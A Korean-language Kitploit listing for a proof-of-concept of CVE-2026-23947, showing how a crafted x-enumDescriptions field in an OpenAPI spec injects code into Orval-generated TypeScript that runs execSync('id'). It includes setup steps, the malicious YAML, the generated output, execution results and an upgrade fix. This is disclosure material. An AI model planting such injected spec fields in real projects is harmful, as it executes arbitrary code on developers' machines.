Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23947-PoC — Proof-of-concept demonstrating arbitrary code execution in Orval via malicious OpenAPI fields, with setup, exploit steps, and remediation guidance. | Kitploit
도구/GitHubGitHub/boroeurnprach/cve-2026-23947-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationSupply Chain Security
GitHubboroeurnprach/cve-2026-23947-poc

CVE-2026-23947-PoC

Proof-of-concept demonstrating arbitrary code execution in Orval via malicious OpenAPI fields, with setup, exploit steps, and remediation guidance.

저장소 보기
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Walkthrough: CVE-2026-23947 - Orval 임의 코드 실행

이 워크스루는 신뢰할 수 없는 OpenAPI 스펙이 x-enumDescriptions 및 x-enumNames 필드를 통해 Orval을 악용하여 생성된 클라이언트에 임의 코드를 주입할 수 있는 방법을 보여줍니다.

사전 요구 사항

  • Node.js (v20 또는 v22)
  • npm

설정

  1. 프로젝트를 생성하고 취약한 버전의 orval(예: 7.10.0)을 설치합니다:
root@kitploit:~
mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios

  1. orval.config.js를 생성합니다:
root@kitploit:~
module.exports = {
  test: {
    input: './openapi.yaml',
    output: {
      target: './generated/api.ts',
      schemas: './generated/model',
      mode: 'split',
    },
  },
};

익스플로잇:

  1. 다음 내용으로 openapi.yaml을 생성합니다:
root@kitploit:~
openapi: 3.0.0
info:
  title: Test API
  version: 1.0.0
paths:
  /test:
    get:
      responses:
        '200':
          description: OK
          content:
            application/json:
              schema:
                type: object
                properties:
                  status:
                    $ref: '#/components/schemas/TestEnum'
components:
  schemas:
    TestEnum:
      type: string
      enum:
        - VAL1
      x-enumDescriptions:
        - "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
  1. 클라이언트를 생성합니다:
root@kitploit:~
npx orval

  1. 생성된 generated/model/testEnum.ts를 확인합니다:
root@kitploit:~
/**
 * Generated by orval v7.10.0 🍺
 * Do not edit manually.
 * Test API
 * OpenAPI spec version: 1.0.0
 */

export type TestEnum = typeof TestEnum[keyof typeof TestEnum];

// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
  /** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
  VAL1: 'VAL1',
} as const;

검증

실행 스크립트 exploit.ts를 생성합니다:

root@kitploit:~
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);

tsx를 사용하여 실행합니다:

root@kitploit:~
npm install -D tsx
npx tsx exploit.ts

출력:

root@kitploit:~
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)

TestEnum value: {}

해결 방법

Orval을 버전 8.0.2 이상으로 업그레이드하세요. 해당 수정 버전은 js-string-escape를 사용하여 이러한 문자열을 적절히 이스케이프 처리합니다.

도구 다운로드